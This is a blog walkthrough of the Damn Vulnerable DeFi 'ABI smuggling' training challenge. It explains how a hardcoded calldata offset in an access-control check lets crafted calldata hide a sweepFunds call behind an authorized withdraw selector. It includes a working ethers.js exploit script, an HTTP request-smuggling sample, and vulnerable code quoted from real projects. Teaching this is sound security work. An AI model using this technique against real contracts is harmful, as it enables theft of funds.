DamnVulnerableDefi ABI smuggling challenge walkthrough (plus infographic)

This post will belong to a series of posts dedicated to doing in-depth explanations of Solidity challenges that have piqued my interest.

First part of the infographic solution

If you just came for the infographic, here you go. Enjoy!

Table of Contents

· Introduction

· The challenge
∘ Description
∘ The code

· The bug
∘ ABI and raw calldatas

· The exploit
∘ Moral of the story
∘ Working exploit

· Real scenarios with similar issues

Abi-Smuggler, based on a stock photo from depositphotos.com

Introduction

Hi! And welcome back to another one of my educational content.

This time I bring you something new, or something that I have not seen solved yet, let alone with this dedication. I am talking about the new DamnVulnerableDefi challenge titled abi-smuggling.

It reminds me of the classic http-smuggling attack, where you smuggle an HTTP request inside another one.

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

And of course, I am not going to take that title lightly!

Since this time I am going to focus primarily on detailing the exploit itself, we will not do a full in-depth of the exercise in general.

My apologies if you were expecting that 😔, but I promise that when you comprehend where the bug is, you'll like the graphics I have prepared for you~!

The challenge

You know the drill! Let's check the description for this challenge.

Description

There’s a permissioned vault with 1 million DVT tokens deposited. The vault allows withdrawing funds periodically, as well as taking all funds out in case of emergencies.

The contract has an embedded generic authorization scheme, only allowing known accounts to execute specific actions.

The dev team has received a responsible disclosure saying all funds can be stolen.

Before it’s too late, rescue all funds from the vault, transferring them back to the recovery account.

Ok, great.

We have a scheme where we will be authorized (or not) to execute some functionality, and it is supposed to be broken somehow.

We have to find how, and abuse that to rescue all the funds from the vault to a recovery account we will be given.

The code

As I said, I will try to constantly have the title of this challenge in the back of my mind. This should allow me to discriminate most of the code and find the bug quicker.

I'm going to post SelfAuthorizedVault.sol in a simplified manner, to make things easier.

Note: I'm experimenting with the code block from Medium, so please don't mind the Typescrypt syntax highlining over the Solidity code.

contract SelfAuthorizedVault is AuthorizedExecutor {
    uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
    uint256 public constant WAITING_PERIOD = 15 days;

    uint256 private _lastWithdrawalTimestamp = block.timestamp;

    function withdraw(address token, address recipient, uint256 amount) external onlyThis {
        if (amount > WITHDRAWAL_LIMIT) {
            revert InvalidWithdrawalAmount();
        }

        if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
            revert WithdrawalWaitingPeriodNotEnded();
        }

        _lastWithdrawalTimestamp = block.timestamp;

        SafeTransferLib.safeTransfer(token, recipient, amount);
    }

    function sweepFunds(address receiver, IERC20 token) external onlyThis {
        SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
    }

    function getLastWithdrawalTimestamp() external view returns (uint256) {
        return _lastWithdrawalTimestamp;
    }

    function _beforeFunctionCall(address target, bytes memory) internal view override {
        if (target != address(this)) {
            revert TargetNotAllowed();
        }
    }
}

Great! So, let's see what we can already discard being vulnerable.

• getLastWithdrawalTimestamp()is just a getter ✅.
• _beforeFunctionCall() is an internal view, and it only checks that target isn't the address of that same contract ✅.
• sweepFunds() seems to be the most problematic, because it basically allows to drain off all the tokens from the vault to a receiver . Despite this, it simply does a safeTransfer() from solady (Solidity gas-optimized snippets). It's not OZ's library, but it's safe, trust me in this one ✅.
• and the remaining being withdraw() . Again, really simple logic behind it. Uses safeTransfer()too with the limitation of 1 ether every 15 days. So unless we can control 🕑 block.timestamp, this should be ok ✅.

Let's move on to its parent abstract contract AuthorizedExecutor.

Since we have two contracts only, I'm gonna guess the bug is in this one, and that's why we will split it.

abstract contract AuthorizedExecutor is ReentrancyGuard {
    using Address for address;

    bool public initialized;

    // action identifier => allowed
    mapping(bytes32 => bool) public permissions;

    function _beforeFunctionCall(address target, bytes memory actionData) internal virtual;

    function getActionId(bytes4 selector, address executor, address target) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(selector, executor, target));
    }

  // continues below
}

_beforeFunctionCall is not implemented here, so it's good ✅.

_getActionId() returns a keccak256 hash from the combination of three arguments. This is done with the help of the ABI (👀), using encodePacked .

You see, there are two types of encoding using the ABI explicitly. One is .encode() and the other one .encodePacked() . But the latter has some caveats.

Let's explain it with an easy example. Suppose that for some reason you were to check that the result of encoding is secretPassword . And it's being done through a function that receives two arguments.

function check(string arg1, string arg2) returns (bool) external {
    return ("secretPassword" == abi.encodePacked(arg1, arg2);
}

This allows the caller to get access to a great number of combinations to achieve the same result.

Why?

Because encode-packing se with cretPassword, would result equivalent to encoding an empty string with secretPassword, and also equivalent to secretPasswor with d . Do you see where this is going?

I'll leave you with the warning the documentation currently comes with, and then I'll try to explain it with actual code.

To learn more about their difference you can head to Non Standard Packing Mode from the official documentation.

The only call to getActionId is far ahead in the code, but just seeing how it is used we can see if we can actually tamper the result.

getActionId(selector, msg.sender, target)

If we supposedly are able to control selector, and target, we wouldn't be able to pick the size or details of the 20 bytes address of msg.sender .

It's (1) exactly in the middle, (2) with a fixed size, and (3) we don't have full control of its composition.

That's how far this analysis goes for me at the current moment ✅.

The following code has an unchecked that piqued my interest.

function setPermissions(bytes32[] memory ids) external {
        if (initialized) {
            revert AlreadyInitialized();
        }

        for (uint256 i = 0; i < ids.length;) {
            unchecked {
                permissions[ids[i]] = true;
                ++i;
            }
        }
        initialized = true;

        emit Initialized(msg.sender, ids);
    }

But it's only a gas optimization for the for loop. It removes the out-of-bounds check, which seems unnecessary — the check — because i will never be greater than the length of the array, so it was a good call.

It can only be initialized once, and in the context of this challenge, it's already initialized ✅.

It all indicates the remaining function must be vulnerable. Otherwise, we have missed something 😅 (not a first-timer 😜).

function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
        // Read the 4-bytes selector at the beginning of `actionData`
        bytes4 selector;
        uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins @audit-issue
        assembly {
            selector := calldataload(calldataOffset) // loads 32 bytes starting from 100 bytes shift in calldata
        }

        if (!permissions[getActionId(selector, msg.sender, target)]) { // @audit bypass this sh!t
            revert NotAllowed();
        }

        _beforeFunctionCall(target, actionData);

        return target.functionCall(actionData);
    }

In general terms, this executes a function call using functionCall (functionality extended totarget via Address) when the function selector from actionData is allowed (permissioned) for msg.sender .

It apparently optimizes the way it gets the first 4 bytes of actionData for the selector, instead of doing something like a substring or a shift.

Clearly, the shadiest part of this function is the assembly, though assuming calldataOffset correctly, selector will be assigned correctly.

Now the question you should be asking yourself is:
Can we assume that calldataOffset is calculated right?

The bug

The short answer to the question above is: No.

Second part of the infographic I made

If you're more of the visual kind and think you already understand what is this all about, you can see the infographic here, and skip to the Exploit section to see the working code.

If you feel you need a little bit more context, keep reading my fellow hacker.

Let's see why.

ABI and raw calldatas

First of all, you need to understand how the ABI works in detail, or at least to some extent for this scenario.

For this, I strongly suggest that you read and try to understand this section of the documentation: ABI Specification — Function Selector and Argument encoding.

The tl;dr version of the link from above says that a calldata , the actual data sent in a transaction, is encoded by concatenating the function selector to be triggered by the called contract, followed by all the arguments.

If you want to see an example, here is a random tx I grabbed from Etherscan:
0xcb2beb9811f9f60417dcea3393ee08c9492638fe959924e07f7c5f19cefecb88

In the Input data section, you can clearly see the following:

Function: approve(address spender, uint256 amount)

MethodID: 0x095ea7b3
[0]:  000000000000000000000000000000000022d473030f116ddee9f6b43ac78ba3
[1]:  ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

MethodID stands for funcsig or function selector, the first 4 bytes of the keccak256 from the function header, in this case of approve(address,uint256) . Try it out yourself on CyberChef.

So the first 32 bytes are the 20-byte address of spender with a 12-byte padding to fill the remaining space. Followed by it, the amount of the approval, MAX_INT or 2^256-1 .

This is an easier case because both parameters are static types!

But what happens when you have dynamically allocated structures, such as strings o arrays?

When having dynamically-allocated types, you need to specify the size, length, or quantity (in a 32 bytes segment) of the expected elements to let the contract know up to what point extends a structure. And immediately afterward comes the content.

Now, the position of that combination (size, content) is not arbitrary. It is previously defined by a 32 bytes segment that contains its offset (in bytes).

So, let's say we have a funcsig 0xcafebabewith two parameters: a bytes idand a uint256 amount . If we call it with (0x1337, 3) respectively, the calldata should look like this.

0x
funcsig
offset position of bytes (id)
value of uint256 (amount)
size of bytes (id)
content of bytes (id)

Replacing them with their actual representation would look like the following snippet.

0x
cafebabe -> funcsig
00000000000000000000000000000040 -> 0x40 = 64 bytes offset
00000000000000000000000000000003 -> 3 (amount)
00000000000000000000000000000004 -> 4 bytes (len(id))
00000000000000000000000000001337 -> 1337 (id)

Great! Since it's all a little clear, I'm gonna jump off right to some of the graphics I designed for this purpose.

This is the current calldata layout for the normal execution of this challenge's execute function.

Crop #1 from the infographic solution

Crop #2 from the infographic solution

But what would happen if we were to manually craft the calldata, do a raw call, and change the offset position of the actionData bytes structure? 💭

It will no longer be where the hardcoded callDataOffset is going to look for!

Ok ok, so hear me out.

WHAT IF, we keep the function selector of an authorized function such as withdraw's 0xd9caed12 on the same position where it will be expected to be? AND THEN we get the freedom to fill actionData as we want?

Visual proof of concept

I'm smelling trouble!

The exploit

Let’s visualize the layout of the calldata so far.

Layout of the things we know

Excellent. Now we only need to generate the real content of actionData's calldata, which is going to get executed with the functionCall(actionData) call.

Having a check over static position on a clearly manipulable calldata makes for a great bypass of the permissions, allowing us to execute whatever we want to. And in this case, this is where sweepFunds enters into action.

To sum it all up, in order for the exploit to work, we just need to:

1. Have the following 4 bytes after 100th position(4 + 32 * 3) occupied with a function selector authorized for the caller. In our case, player is authorized to use withdraw.
2. Immediately afterward, actionData's size and content, containing the working calldata (sweepFunds) to drain the vault to the recovery address.
3. Point actionData's beginning to the new position.
4. Fill the freed space in between with zeroes.

Layout for the working exploit.

How it started.
From the default layout of the generated calldata, to our own crafted layout.

How it ended.
sweepFunds getting smuggled behind withdraw's funcsig to trigger a bypass.

Smuggled!

Moral of the story

Using assembly to interact with the ABI is all fun and games until someone smuggles an exploit through your face.

Ok, maybe too harsh. Let's try again.

Using assembly has its caveats, particularly interacting with and for the ABI without being fully conscious of the possible consequences.

Would this exploit be invalidated if instead of doing this

uint256 calldataOffset = 4 + 32 * 3;
assembly {
    selector := calldataload(calldataOffset)
}

I did something like this?

uint256 actionDataOffset = 4 + 32;
assembly {
    selector := calldataload(calldataload(actionDataOffset)))
}

Let me know in the comments!

Working exploit

This is the code that solves the challenge.

You can find a more detailed and commented version of the solution — including my process of thought plus additional tests, I feel exposed 😅 — in my repo @mattaereal/damn-vulnerable-defi-solutions.

(Note on the repo: I'm currently integrating the v2 solutions with the v3 changes).

fragment = await vault.interface.getFunction("execute");
executeFs = await vault.interface.getSighash(fragment); 

vaultAddr = await ethers.utils.hexZeroPad(vault.address, 32);

fragment = await vault.interface.getFunction("withdraw");
withdrawFs = await vault.interface.getSighash(fragment);

nops = await ethers.utils.hexZeroPad("0x0", 32);

exploitOffset = await ethers.utils.hexZeroPad("0x64", 32);
exploitSize = await ethers.utils.hexZeroPad("0x44", 32);

exploit = await vault.interface.encodeFunctionData("sweepFunds", [recovery.address, token.address]);

padding = await ethers.utils.hexZeroPad("0x0", 24);

actionData = await ethers.utils.hexConcat([exploitOffset, nops, withdrawFs, exploitSize, exploit, padding])
calldata = await ethers.utils.hexConcat([executeFs, vaultAddr, actionData])

await player.sendTransaction({ to: vault.address, data: calldata })

Real scenarios with similar issues

I'd like to thank @tinchoabbate for the following links, where pretty similar — not to say identical — vulnerabilities to the one we have exploited in this challenge have been reported before.

1. Incorrect implementation of access control in MIMOProxy:execute

    if (owner != msg.sender) {
      bytes4 selector;
      assembly {
        selector := calldataload(data.offset)
      }
      if (!_permissions[msg.sender][target][selector]) {
        revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.sender, target, selector);
      }
    }

2. AuthorizedAdaptor.sol at balancer-v2-monorepo

assembly {
    // The function selector encoded in `data` has an offset relative to the start of msg.data of:
    // - 4 bytes due to the function selector for `performAction`
    // - 3 words (3 * 32 = 96 bytes) for `target` and the length and offset of `data`
    // 96 + 4 = 100 bytes
    selector := calldataload(100)
}

// NOTE: The `TimelockAuthorizer` special cases the `AuthorizerAdaptor` calling into it, so that the action ID
// and `target` values are completely ignored. The following check will only pass if the caller is the
// `AuthorizerAdaptorEntrypoint`, which will have already checked for permissions correctly.
_require(_canPerform(getActionId(selector), msg.sender, target), Errors.SENDER_NOT_ALLOWED);

// We don't check that `target` is a contract so all calls to an EOA will succeed.
return target.functionCallWithValue(data, msg.value);

Did you see? Not everything is fiction here! 😲

— — —

Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.
Follow me on Twitter @mattaereal.